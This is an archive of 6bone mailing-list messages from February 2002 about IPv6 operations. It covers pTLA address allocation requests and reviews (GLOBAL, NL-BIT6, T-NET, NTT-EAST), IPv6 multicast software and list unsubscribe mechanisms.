From: Pekka Savola <pekkas@netcore.fi>
To: Olof Samuelsson <olof@s8n.pp.se>
cc: lporter@cw.net, <mbiber@apnetworx.com.au>, <6bone@ISI.EDU>
Subject: Re: remove
In-Reply-To: <lfadunfuay.wl@boulard.crt.se>
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On Tue, 5 Feb 2002, Olof Samuelsson wrote:
> > On Saturday 02 February 2002 07:28, Michael Biber wrote: A URL to
> > remove peopel from the list at the end of each message that goes
> > through the list server will fix all of this. People who want to be
> > out, just go to that URL, enter their email address and when they
> > reply to the confirmation email (just like when you subscribe) you
> > are removed from the list.
> 
> How about the List-Unsubscribe header from RFC2369?  I think at least
> recent pines support it.

A problem may be that people trying to unsubscribe in this manner probably
don't use programs that support this, or known to use this feature anyway.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sat Feb  9 12:47:51 2002
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Date: Sat, 9 Feb 2002 12:47:29 -0800
From: Bill Manning <bmanning@ISI.EDU>
To: "Aouriri, Chedley" <chedley.aouriri@intel.com>
Cc: "'users@ipv6.org'" <users@ipv6.org>, "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: IPv6 video streamer
Message-ID: <20020209204729.GA36830@zed.isi.edu>
References: <AA5ED351DFA4D5118A2C00508B68BB7E0646B18E@orsmsx109.jf.intel.com>
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On Thu, Feb 07, 2002 at 02:37:00PM -0800, Aouriri, Chedley wrote:
> 
> Looking for a video streaming software (client and server) running on IPv6.
> Any pointers?
> 
> Thanks,
> ..CHEDLEY..
> Chedley.Aouriri@Intel.com <mailto:Chedley.Aouriri@Intel.com> 
>  
> 

	You might want to look at the DVTS work...

	www.sfc.wide.ad.jp/DVTS/intro.html


--bill

From 6bone-owner  Mon Feb 11 17:18:26 2002
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Date: Mon, 11 Feb 2002 17:17:26 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8340::/28 allocated to GLOBAL
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GLOBAL has been allocated pTLA 3FFE:8340::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?GLOBAL>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Tue Feb 12 16:20:10 2002
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Subject: Contact for Caladan
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6bone folk,

has anyone emailed to Caladan recently? I can't get in touch with Chris
anymore.

Thanks
Michel.


From 6bone-owner  Wed Feb 13 11:14:42 2002
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Date: Wed, 13 Feb 2002 20:14:36 +0100 (CET)
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First.. is there a ipv6 mbone around? Any way to connect to that?

How do you implement this globally? Msdp, bgmp ?
What about internally? PIM6 around?
Since cisco doesnt support it, are there any software around for
linux/unix?

I am streaming ipv6 multicast on my lan, but I could need to try it a bit
more globally.

thanks,

Joergen Hovland
WebOnline NET AS


From 6bone-owner  Wed Feb 13 16:25:54 2002
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In-reply-to: Your message of "Wed, 13 Feb 2002 20:14:36 +0100."
             <Pine.LNX.4.31.0202131955270.872-100000@login1.ssc.net> 
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>>>>> "rgen" == rgen Hovland <J> writes:
    rgen> How do you implement this globally? Msdp, bgmp ?  What about
    rgen> internally? PIM6 around?  Since cisco doesnt support it, are there
    rgen> any software around for linux/unix?

  I don't know of any... I have success with IPv4+DVMRP, but nobody
wants to connect with that anymore. I have little success with IPv4+PIMdd due
to problems with pimdd itself (on NetBSD) it seems. 

  I have zebra running on my IPv6 gateway doing BGP4 for IPv6 and would be
happy to experiment with others if there is some MOSPF,PIM6,etc. support in
zebra that I don't know about.

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [

From 6bone-owner  Wed Feb 13 23:42:15 2002
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Date: Thu, 14 Feb 2002 09:41:59 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Michael Richardson <mcr@sandelman.ottawa.on.ca>
cc: =?ISO-8859-1?Q?J=F8rgen?= Hovland <jorgen@hovland.cx>, <6bone@ISI.EDU>
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On Wed, 13 Feb 2002, Michael Richardson wrote:
> >>>>> "rgen" == rgen Hovland <J> writes:
>     rgen> How do you implement this globally? Msdp, bgmp ?  What about
>     rgen> internally? PIM6 around?  Since cisco doesnt support it, are there
>     rgen> any software around for linux/unix?
> 
>   I don't know of any... I have success with IPv4+DVMRP, but nobody
> wants to connect with that anymore. I have little success with IPv4+PIMdd due
> to problems with pimdd itself (on NetBSD) it seems. 
> 
>   I have zebra running on my IPv6 gateway doing BGP4 for IPv6 and would be
> happy to experiment with others if there is some MOSPF,PIM6,etc. support in
> zebra that I don't know about.

pim6sd and pim6dd are available for *BSD; previously (at least in FreeBSD)  
but were removed to ports due licensing IIRC.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Feb 14 02:10:37 2002
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Date: Thu, 14 Feb 2002 11:10:03 +0100
From: Pim van Pelt <pim@ipng.nl>
To: fink@es.net, 6bone@ISI.EDU
Cc: ipv6@bit.nl
Subject: Re: [pim@ipng.nl: NL-BIT pTLA request]
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Hoi Bob, others!

A few weeks ago, I sent in this pTLA request on behalf of my new employer. 
I remember Bob was enjoying New Zealand on summers' vacation (while the rest 
of us were left in the winter-hemisphere :), but can we pick this back up 
please? 

Picking up where Bob and I left off, I'll quote him:
| Pim,
|
| I think most is in order, however, you don't have any inet6num entry for
| your current address allocation. Also, I need to know that NL-BIT6 has been
| active for 3 months.

There is an inet6num object inserted at the RIPE registry, because BIT has been
an active participant from that address space. Unfortunately, I stated the
wrong information in my original request. I said the object NL-BIT6 was present
but the object's current name is BIT6-NL:

inet6num:     2001:06E0:0209::/48
netname:      BIT6-NL
descr:        Business Internet Trends IPv6 deployment
country:      NL
admin-c:      BITT1-RIPE
tech-c:       BITT1-RIPE
remarks:      Abuse reports go to abuse@bit.nl, peering issues
remarks:      go to PBVP1-RIPE <pim@ipng.nl>
mnt-by:       BIT-MNT
changed:      pim@ipng.nl 20010811
changed:      pim@ipng.nl 20010930
source:       RIPE

As seen from the changed fields, BIT was first active on the 6bone during
the HAL2001 convention in Enschede(NL), where we set things up from a cute 
campsite. 

To further complicate things, I did set up an NL-BIT6 ipv6-site object at 
the 6BONE registry. I shall delete the RIPE one as soon as BIT gets its own 
aggregatable space. I will (at least try to) use <COUNTRY>-<COMPANY>6 
to denote things later on and try to keep the naming hierarical.

I hope this clears up any pending issues. If there's anything else, please
let me know!

groet,
Pim

On Thu, Jan 24, 2002 at 05:47:20PM +0100, Pim van Pelt wrote:
| Dear Bob, and 6BONE folk,
| 
| Via these means, I would like to inform you all, that I am switching
| employers on the 1st of March 2002, when my current contract at WiseGuys
| Internet BV ends. My new employer, Business Internet Trends, is an ISP
| and colocation provider in The Netherlands. I will be joining their 
| team as a network engineer per 1/3/2002. Yay!
| 
| I plan to do many exciting things with and for BIT, one of which, you 
| could've known, is starting a native IPv6 deployment from the AMS-v6-IX
| to the head quarters and colocation facilities in Ede (GLD).
| 
| This is why I am requesting a pTLA allocation to be made for this 
| company. We hope to have this space allocated per 01/03 so we can dive 
| into the configuration and implementational details.
| 
| Please let me know what you think of this.
| 
| Kind regards,
| Pim van Pelt
| 
| ----- pTLA request form -----
| 1. The pTLA Applicant must have a minimum of three (3) months
|       qualifying experience as a 6Bone end-site or pNLA transit.   During
|       the entire qualifying period the Applicant must be operationally
|       providing the following:
| 
|       a. Fully maintained, up to date, 6Bone Registry entries for their
|          ipv6-site inet6num, mntner, and person objects, including each
|          tunnel that the Applicant has.
| 
| Our current inet6num is BIT6-NL (2001:06E0:0209::/48), which is natively
| connected to the INTOUCH-NL networks at the AMS-v6-IX. It is maintained
| by BIT-MNT (RIPE) and has a role BITT1-RIPE for technical and 
| administrative contact. We have inserted copies of the -RIPE objects into
| the 6BONE registry where appropriate:
| [ipv6-site] NL-BIT6
| [person] HM6669-6BONE (Hans van der Made)
| [person] SAB666-6BONE (Sabri Berisha)
| [person] AB2298-6BONE (Alex Bik)
| [role] BITT1-6BONE (Business Internet Trends Technical Role Account)
| and 
| [person] PBVP1-6BONE (Pim van Pelt)
| 
|       b. Fully maintained, and reliable, BGP4+ peering and connectivity
|          between the Applicant's boundary router and the appropriate
|          connection point into the 6Bone. This router must be IPv6
|          pingable. This criteria is judged by members of the 6Bone
|          Operations Group at the time of the Applicant's pTLA request.
| 
| We have a BGP session with AS8954 at the AMS-v6-IX, which connects our
| Cisco 2600 to the 6BONE. We would like to enforce our network by setting
| up additional peerings and announcing our own network via BGP. This way
| AS8954 will not have to take care of our own traffic. Our address is
| currently: 
| ipv6.bit.nl. has AAAA address 2001:6e0:0:10a::2
| ipv6.bit.nl. has AAAA address 2001:6e0:209:2:203:6bff:fe6e:52a0
| Where the former is a VLAN where Intouch AMSIX is ::1/64 and we are
| ::2/64 in Ede. Both addresses are on the C2600 at our site and reply
| pings.
| 
|       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
|          entries for the Applicant's router(s) and at least one host
|          system.
| Forward entries for bit.nl (IN AAAA, and in the future IN A6) can be
| found at:
| bit.nl. name server ns2.bit.nl.
| bit.nl. name server ns3.bit.nl.
| bit.nl. name server ns.bit.nl.
| The reversed zonefile from Intouch is handled by IPng at this point, 
| and only on one server:
| 9.0.2.0.0.e.6.0.1.0.0.2.ip6.int name server ns1.ipng.nl.
| but will move to ns/ns2/ns3.bit.nl per 01-03-2002.
| 
|       d. A fully maintained, and reliable, IPv6-accessible system
|          providing, at a mimimum, one or more web pages, describing the
|          Applicant's IPv6 services.  This server must be IPv6 pingable.
| 
| We have a server ready at www.ipv6.bit.nl, and do not plan to do much
| with this at the moment. There are some pages on the server, though.
| It's address is: 2001:6e0:209:3:290:27ff:fe0c:5c5e, port 80. It pings.
| 
|    2. The pTLA Applicant MUST have the ability and intent to provide
|       "production-quality" 6Bone backbone service. Applicants must
|       provide a statement and information in support of this claim.
|       This MUST include the following:
| 
|       a. A support staff of two persons minimum, three preferable, with
|          person attributes registered for each in the ipv6-site object
|          for the pTLA applicant.
| Alex Bik, Sabri Berisha, Hans van der Made and Pim van Pelt, forming
| BITT1-6BONE, as describe in section 1.
| 
|       b. A common mailbox for support contact purposes that all support
|          staff have acess to, pointed to with a notify attribute in the
|          ipv6-site object for the pTLA Applicant.
| This mailbox is ipv6@bit.nl and we will be using @ipv6.bit.nl once we
| get settled. Another entry is noc@bit.nl, which is roughly the same persons
| but for a more generic communication (eg v4 and v6 related)
| 
|    3. The pTLA Applicant MUST have a potential "user community" that
|       would be served by its becoming a pTLA, e.g., the Applicant is a
|       major provider of Internet service in a region, country, or focus
|       of interest. Applicant must provide a statement and information in
|       support this claim.
| We are a hosting and application service provider, with a valid userbase
| for IPv6. Two main aspects come to mind: Access and Colocation. The former
| consists of a nationwide dialup network, and several leased lines to 
| customers and the latter is a set of colocation facilities with some
| 250 customers' boxes. We are about to build a third colocation facility
| on a seperate location with a gigabit uplink to the AMS-IX, providing
| additional services to an ever growing customer base, including the 
| possibility of traffic exchange between ISPs at this location.
| 
|    4. The pTLA Applicant MUST commit to abide by the current 6Bone
|       operational rules and policies as they exist at time of its
|       application, and agree to abide by future 6Bone backbone
|       operational rules and policies as they evolve by consensus of the
|       6Bone backbone and user community.
| We have a commitment to our customers and the 6bone, and armed with 
| technical clue, we agree to abide by these rules and policies laid down 
| by the 6bone community.
| 
|    When an Applicant seeks to receive a pTLA allocation, it will apply
|    to the 6Bone Operations Group (see section 8 below) by providing to
|    the Group information in support of its claims that it meets the
|    criteria above.
| 
| 8. 6Bone Operations Group
| 
|    The 6Bone Operations Group is the group in charge of monitoring and
|    policing adherence to the current rules. Membership in the 6Bone
|    Operations Group is mandatory for, and restricted to, sites connected
|    to the 6Bone.
| 
|    The 6Bone Operations Group is currently defined by those members of
|    the existing 6Bone mailing list who represent sites participating in
|    the 6Bone. Therefore it is incumbent on relevant site contacts to
|    join the 6Bone mailing list. Instructions on how to join the list are
|    maintained on the 6Bone web site at < http://www.6bone.net>.
| 
| 
| -- 
| ---------- - -    - - -+- - -    - - ----------
| Pim van Pelt                 Email: pim@ipng.nl
| http://www.ipng.nl/             IPv6 Deployment
| -----------------------------------------------
| 
| ----- End forwarded message -----
| 
| -- 
| ---------- - -    - - -+- - -    - - ----------
| Pim van Pelt                 Email: pim@ipng.nl
| http://www.ipng.nl/             IPv6 Deployment
| -----------------------------------------------

-- 
                             __________________
Met vriendelijke groet,     /\ ___/
Pim van Pelt               /- \ _/  Business Internet Trends BV
PBVP1-RIPE                /--- \/            __________________

From 6bone-owner  Thu Feb 14 08:41:49 2002
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Date: Thu, 14 Feb 2002 08:39:41 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for NL-BIT6 - review closes 28 February 2002
Cc: Pim van Pelt <pim@ipng.nl>
Mime-Version: 1.0
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Status: RO

6bone Folk,

NL-BIT6 has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 28 
February 2002. Please send your comments to me or the list.


<http://whois.6bone.net/cgi-bin/whois?NL-BIT6>

<http://www.ipv6.bit.nl>


Thanks,

Bob

===
>Picking up where Bob and I left off, I'll quote him:
>| Pim,
>|
>| I think most is in order, however, you don't have any inet6num entry for
>| your current address allocation. Also, I need to know that NL-BIT6 has been
>| active for 3 months.
>
>There is an inet6num object inserted at the RIPE registry, because BIT has 
>been
>an active participant from that address space. Unfortunately, I stated the
>wrong information in my original request. I said the object NL-BIT6 was 
>present
>but the object's current name is BIT6-NL:
>
>inet6num:     2001:06E0:0209::/48
>netname:      BIT6-NL
>descr:        Business Internet Trends IPv6 deployment
>country:      NL
>admin-c:      BITT1-RIPE
>tech-c:       BITT1-RIPE
>remarks:      Abuse reports go to abuse@bit.nl, peering issues
>remarks:      go to PBVP1-RIPE <pim@ipng.nl>
>mnt-by:       BIT-MNT
>changed:      pim@ipng.nl 20010811
>changed:      pim@ipng.nl 20010930
>source:       RIPE
>
>As seen from the changed fields, BIT was first active on the 6bone during
>the HAL2001 convention in Enschede(NL), where we set things up from a cute
>campsite.
>
>To further complicate things, I did set up an NL-BIT6 ipv6-site object at
>the 6BONE registry. I shall delete the RIPE one as soon as BIT gets its own
>aggregatable space. I will (at least try to) use <COUNTRY>-<COMPANY>6
>to denote things later on and try to keep the naming hierarical.
>
>I hope this clears up any pending issues. If there's anything else, please
>let me know!
>
>groet,
>Pim
>
>On Thu, Jan 24, 2002 at 05:47:20PM +0100, Pim van Pelt wrote:
>| Dear Bob, and 6BONE folk,
>|
>| Via these means, I would like to inform you all, that I am switching
>| employers on the 1st of March 2002, when my current contract at WiseGuys
>| Internet BV ends. My new employer, Business Internet Trends, is an ISP
>| and colocation provider in The Netherlands. I will be joining their
>| team as a network engineer per 1/3/2002. Yay!
>|
>| I plan to do many exciting things with and for BIT, one of which, you
>| could've known, is starting a native IPv6 deployment from the AMS-v6-IX
>| to the head quarters and colocation facilities in Ede (GLD).
>|
>| This is why I am requesting a pTLA allocation to be made for this
>| company. We hope to have this space allocated per 01/03 so we can dive
>| into the configuration and implementational details.
>|
>| Please let me know what you think of this.
>|
>| Kind regards,
>| Pim van Pelt
>|
>| ----- pTLA request form -----
>| 1. The pTLA Applicant must have a minimum of three (3) months
>|       qualifying experience as a 6Bone end-site or pNLA transit.   During
>|       the entire qualifying period the Applicant must be operationally
>|       providing the following:
>|
>|       a. Fully maintained, up to date, 6Bone Registry entries for their
>|          ipv6-site inet6num, mntner, and person objects, including each
>|          tunnel that the Applicant has.
>|
>| Our current inet6num is BIT6-NL (2001:06E0:0209::/48), which is natively
>| connected to the INTOUCH-NL networks at the AMS-v6-IX. It is maintained
>| by BIT-MNT (RIPE) and has a role BITT1-RIPE for technical and
>| administrative contact. We have inserted copies of the -RIPE objects into
>| the 6BONE registry where appropriate:
>| [ipv6-site] NL-BIT6
>| [person] HM6669-6BONE (Hans van der Made)
>| [person] SAB666-6BONE (Sabri Berisha)
>| [person] AB2298-6BONE (Alex Bik)
>| [role] BITT1-6BONE (Business Internet Trends Technical Role Account)
>| and
>| [person] PBVP1-6BONE (Pim van Pelt)
>|
>|       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>|          between the Applicant's boundary router and the appropriate
>|          connection point into the 6Bone. This router must be IPv6
>|          pingable. This criteria is judged by members of the 6Bone
>|          Operations Group at the time of the Applicant's pTLA request.
>|
>| We have a BGP session with AS8954 at the AMS-v6-IX, which connects our
>| Cisco 2600 to the 6BONE. We would like to enforce our network by setting
>| up additional peerings and announcing our own network via BGP. This way
>| AS8954 will not have to take care of our own traffic. Our address is
>| currently:
>| ipv6.bit.nl. has AAAA address 2001:6e0:0:10a::2
>| ipv6.bit.nl. has AAAA address 2001:6e0:209:2:203:6bff:fe6e:52a0
>| Where the former is a VLAN where Intouch AMSIX is ::1/64 and we are
>| ::2/64 in Ede. Both addresses are on the C2600 at our site and reply
>| pings.
>|
>|       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>|          entries for the Applicant's router(s) and at least one host
>|          system.
>| Forward entries for bit.nl (IN AAAA, and in the future IN A6) can be
>| found at:
>| bit.nl. name server ns2.bit.nl.
>| bit.nl. name server ns3.bit.nl.
>| bit.nl. name server ns.bit.nl.
>| The reversed zonefile from Intouch is handled by IPng at this point,
>| and only on one server:
>| 9.0.2.0.0.e.6.0.1.0.0.2.ip6.int name server ns1.ipng.nl.
>| but will move to ns/ns2/ns3.bit.nl per 01-03-2002.
>|
>|       d. A fully maintained, and reliable, IPv6-accessible system
>|          providing, at a mimimum, one or more web pages, describing the
>|          Applicant's IPv6 services.  This server must be IPv6 pingable.
>|
>| We have a server ready at www.ipv6.bit.nl, and do not plan to do much
>| with this at the moment. There are some pages on the server, though.
>| It's address is: 2001:6e0:209:3:290:27ff:fe0c:5c5e, port 80. It pings.
>|
>|    2. The pTLA Applicant MUST have the ability and intent to provide
>|       "production-quality" 6Bone backbone service. Applicants must
>|       provide a statement and information in support of this claim.
>|       This MUST include the following:
>|
>|       a. A support staff of two persons minimum, three preferable, with
>|          person attributes registered for each in the ipv6-site object
>|          for the pTLA applicant.
>| Alex Bik, Sabri Berisha, Hans van der Made and Pim van Pelt, forming
>| BITT1-6BONE, as describe in section 1.
>|
>|       b. A common mailbox for support contact purposes that all support
>|          staff have acess to, pointed to with a notify attribute in the
>|          ipv6-site object for the pTLA Applicant.
>| This mailbox is ipv6@bit.nl and we will be using @ipv6.bit.nl once we
>| get settled. Another entry is noc@bit.nl, which is roughly the same persons
>| but for a more generic communication (eg v4 and v6 related)
>|
>|    3. The pTLA Applicant MUST have a potential "user community" that
>|       would be served by its becoming a pTLA, e.g., the Applicant is a
>|       major provider of Internet service in a region, country, or focus
>|       of interest. Applicant must provide a statement and information in
>|       support this claim.
>| We are a hosting and application service provider, with a valid userbase
>| for IPv6. Two main aspects come to mind: Access and Colocation. The former
>| consists of a nationwide dialup network, and several leased lines to
>| customers and the latter is a set of colocation facilities with some
>| 250 customers' boxes. We are about to build a third colocation facility
>| on a seperate location with a gigabit uplink to the AMS-IX, providing
>| additional services to an ever growing customer base, including the
>| possibility of traffic exchange between ISPs at this location.
>|
>|    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>|       operational rules and policies as they exist at time of its
>|       application, and agree to abide by future 6Bone backbone
>|       operational rules and policies as they evolve by consensus of the
>|       6Bone backbone and user community.
>| We have a commitment to our customers and the 6bone, and armed with
>| technical clue, we agree to abide by these rules and policies laid down
>| by the 6bone community.
>|
>|    When an Applicant seeks to receive a pTLA allocation, it will apply
>|    to the 6Bone Operations Group (see section 8 below) by providing to
>|    the Group information in support of its claims that it meets the
>|    criteria above.
>|
>| 8. 6Bone Operations Group
>|
>|    The 6Bone Operations Group is the group in charge of monitoring and
>|    policing adherence to the current rules. Membership in the 6Bone
>|    Operations Group is mandatory for, and restricted to, sites connected
>|    to the 6Bone.
>|
>|    The 6Bone Operations Group is currently defined by those members of
>|    the existing 6Bone mailing list who represent sites participating in
>|    the 6Bone. Therefore it is incumbent on relevant site contacts to
>|    join the 6Bone mailing list. Instructions on how to join the list are
>|    maintained on the 6Bone web site at < http://www.6bone.net>.
>|
>-end



From 6bone-owner  Thu Feb 14 08:42:37 2002
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Date: Thu, 14 Feb 2002 08:39:41 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for NL-BIT6 - review closes 28 February 2002
Cc: Pim van Pelt <pim@ipng.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-6bone@zephyr.isi.edu
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Status: RO

6bone Folk,

NL-BIT6 has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 28 
February 2002. Please send your comments to me or the list.


<http://whois.6bone.net/cgi-bin/whois?NL-BIT6>

<http://www.ipv6.bit.nl>


Thanks,

Bob

===
>Picking up where Bob and I left off, I'll quote him:
>| Pim,
>|
>| I think most is in order, however, you don't have any inet6num entry for
>| your current address allocation. Also, I need to know that NL-BIT6 has been
>| active for 3 months.
>
>There is an inet6num object inserted at the RIPE registry, because BIT has 
>been
>an active participant from that address space. Unfortunately, I stated the
>wrong information in my original request. I said the object NL-BIT6 was 
>present
>but the object's current name is BIT6-NL:
>
>inet6num:     2001:06E0:0209::/48
>netname:      BIT6-NL
>descr:        Business Internet Trends IPv6 deployment
>country:      NL
>admin-c:      BITT1-RIPE
>tech-c:       BITT1-RIPE
>remarks:      Abuse reports go to abuse@bit.nl, peering issues
>remarks:      go to PBVP1-RIPE <pim@ipng.nl>
>mnt-by:       BIT-MNT
>changed:      pim@ipng.nl 20010811
>changed:      pim@ipng.nl 20010930
>source:       RIPE
>
>As seen from the changed fields, BIT was first active on the 6bone during
>the HAL2001 convention in Enschede(NL), where we set things up from a cute
>campsite.
>
>To further complicate things, I did set up an NL-BIT6 ipv6-site object at
>the 6BONE registry. I shall delete the RIPE one as soon as BIT gets its own
>aggregatable space. I will (at least try to) use <COUNTRY>-<COMPANY>6
>to denote things later on and try to keep the naming hierarical.
>
>I hope this clears up any pending issues. If there's anything else, please
>let me know!
>
>groet,
>Pim
>
>On Thu, Jan 24, 2002 at 05:47:20PM +0100, Pim van Pelt wrote:
>| Dear Bob, and 6BONE folk,
>|
>| Via these means, I would like to inform you all, that I am switching
>| employers on the 1st of March 2002, when my current contract at WiseGuys
>| Internet BV ends. My new employer, Business Internet Trends, is an ISP
>| and colocation provider in The Netherlands. I will be joining their
>| team as a network engineer per 1/3/2002. Yay!
>|
>| I plan to do many exciting things with and for BIT, one of which, you
>| could've known, is starting a native IPv6 deployment from the AMS-v6-IX
>| to the head quarters and colocation facilities in Ede (GLD).
>|
>| This is why I am requesting a pTLA allocation to be made for this
>| company. We hope to have this space allocated per 01/03 so we can dive
>| into the configuration and implementational details.
>|
>| Please let me know what you think of this.
>|
>| Kind regards,
>| Pim van Pelt
>|
>| ----- pTLA request form -----
>| 1. The pTLA Applicant must have a minimum of three (3) months
>|       qualifying experience as a 6Bone end-site or pNLA transit.   During
>|       the entire qualifying period the Applicant must be operationally
>|       providing the following:
>|
>|       a. Fully maintained, up to date, 6Bone Registry entries for their
>|          ipv6-site inet6num, mntner, and person objects, including each
>|          tunnel that the Applicant has.
>|
>| Our current inet6num is BIT6-NL (2001:06E0:0209::/48), which is natively
>| connected to the INTOUCH-NL networks at the AMS-v6-IX. It is maintained
>| by BIT-MNT (RIPE) and has a role BITT1-RIPE for technical and
>| administrative contact. We have inserted copies of the -RIPE objects into
>| the 6BONE registry where appropriate:
>| [ipv6-site] NL-BIT6
>| [person] HM6669-6BONE (Hans van der Made)
>| [person] SAB666-6BONE (Sabri Berisha)
>| [person] AB2298-6BONE (Alex Bik)
>| [role] BITT1-6BONE (Business Internet Trends Technical Role Account)
>| and
>| [person] PBVP1-6BONE (Pim van Pelt)
>|
>|       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>|          between the Applicant's boundary router and the appropriate
>|          connection point into the 6Bone. This router must be IPv6
>|          pingable. This criteria is judged by members of the 6Bone
>|          Operations Group at the time of the Applicant's pTLA request.
>|
>| We have a BGP session with AS8954 at the AMS-v6-IX, which connects our
>| Cisco 2600 to the 6BONE. We would like to enforce our network by setting
>| up additional peerings and announcing our own network via BGP. This way
>| AS8954 will not have to take care of our own traffic. Our address is
>| currently:
>| ipv6.bit.nl. has AAAA address 2001:6e0:0:10a::2
>| ipv6.bit.nl. has AAAA address 2001:6e0:209:2:203:6bff:fe6e:52a0
>| Where the former is a VLAN where Intouch AMSIX is ::1/64 and we are
>| ::2/64 in Ede. Both addresses are on the C2600 at our site and reply
>| pings.
>|
>|       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>|          entries for the Applicant's router(s) and at least one host
>|          system.
>| Forward entries for bit.nl (IN AAAA, and in the future IN A6) can be
>| found at:
>| bit.nl. name server ns2.bit.nl.
>| bit.nl. name server ns3.bit.nl.
>| bit.nl. name server ns.bit.nl.
>| The reversed zonefile from Intouch is handled by IPng at this point,
>| and only on one server:
>| 9.0.2.0.0.e.6.0.1.0.0.2.ip6.int name server ns1.ipng.nl.
>| but will move to ns/ns2/ns3.bit.nl per 01-03-2002.
>|
>|       d. A fully maintained, and reliable, IPv6-accessible system
>|          providing, at a mimimum, one or more web pages, describing the
>|          Applicant's IPv6 services.  This server must be IPv6 pingable.
>|
>| We have a server ready at www.ipv6.bit.nl, and do not plan to do much
>| with this at the moment. There are some pages on the server, though.
>| It's address is: 2001:6e0:209:3:290:27ff:fe0c:5c5e, port 80. It pings.
>|
>|    2. The pTLA Applicant MUST have the ability and intent to provide
>|       "production-quality" 6Bone backbone service. Applicants must
>|       provide a statement and information in support of this claim.
>|       This MUST include the following:
>|
>|       a. A support staff of two persons minimum, three preferable, with
>|          person attributes registered for each in the ipv6-site object
>|          for the pTLA applicant.
>| Alex Bik, Sabri Berisha, Hans van der Made and Pim van Pelt, forming
>| BITT1-6BONE, as describe in section 1.
>|
>|       b. A common mailbox for support contact purposes that all support
>|          staff have acess to, pointed to with a notify attribute in the
>|          ipv6-site object for the pTLA Applicant.
>| This mailbox is ipv6@bit.nl and we will be using @ipv6.bit.nl once we
>| get settled. Another entry is noc@bit.nl, which is roughly the same persons
>| but for a more generic communication (eg v4 and v6 related)
>|
>|    3. The pTLA Applicant MUST have a potential "user community" that
>|       would be served by its becoming a pTLA, e.g., the Applicant is a
>|       major provider of Internet service in a region, country, or focus
>|       of interest. Applicant must provide a statement and information in
>|       support this claim.
>| We are a hosting and application service provider, with a valid userbase
>| for IPv6. Two main aspects come to mind: Access and Colocation. The former
>| consists of a nationwide dialup network, and several leased lines to
>| customers and the latter is a set of colocation facilities with some
>| 250 customers' boxes. We are about to build a third colocation facility
>| on a seperate location with a gigabit uplink to the AMS-IX, providing
>| additional services to an ever growing customer base, including the
>| possibility of traffic exchange between ISPs at this location.
>|
>|    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>|       operational rules and policies as they exist at time of its
>|       application, and agree to abide by future 6Bone backbone
>|       operational rules and policies as they evolve by consensus of the
>|       6Bone backbone and user community.
>| We have a commitment to our customers and the 6bone, and armed with
>| technical clue, we agree to abide by these rules and policies laid down
>| by the 6bone community.
>|
>|    When an Applicant seeks to receive a pTLA allocation, it will apply
>|    to the 6Bone Operations Group (see section 8 below) by providing to
>|    the Group information in support of its claims that it meets the
>|    criteria above.
>|
>| 8. 6Bone Operations Group
>|
>|    The 6Bone Operations Group is the group in charge of monitoring and
>|    policing adherence to the current rules. Membership in the 6Bone
>|    Operations Group is mandatory for, and restricted to, sites connected
>|    to the 6Bone.
>|
>|    The 6Bone Operations Group is currently defined by those members of
>|    the existing 6Bone mailing list who represent sites participating in
>|    the 6Bone. Therefore it is incumbent on relevant site contacts to
>|    join the 6Bone mailing list. Instructions on how to join the list are
>|    maintained on the 6Bone web site at < http://www.6bone.net>.
>|
>-end



From 6bone-owner  Thu Feb 14 10:08:38 2002
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Date: Thu, 14 Feb 2002 10:08:02 -0800
To: maray@niif.hu, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: T-NET pTLA request
Cc: janos.mohacsi@dante.org.uk, maray@niif.hu
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Tamas,

At 06:44 PM 2/14/2002 +0100, maray@niif.hu wrote:
>...AS1955 is owned by NIIF/HUNGARNET which is the Hungarian NREN. Since there
>is no any kind of such agreement between T-NET and NIIF, T-NET is *not*
>authorized to use AS1955 for their IPv6 activities.
>In fact, T-NET has never turned to NIIF with such requirement.
>
>Sincerely,
>
>Tamas Maray
>maray@niif.hu
>NIIF Technical director

Thanks for your message. I had already delayed granting T-Net a pTLA until 
some official comment came from HUNGARNET about use of AS1955.


Regards,

Bob


From 6bone-owner  Fri Feb 15 07:36:00 2002
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Date: Fri, 15 Feb 2002 07:35:54 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for NTT-EAST - review closes 1 March 2002
Cc: Satoshi TSUNEKAWA <s.tsunekawa@east.ntt.co.jp>
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6bone Folk,

NTT-EAST has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 1 March 
2002. Please send your comments to me or the list.

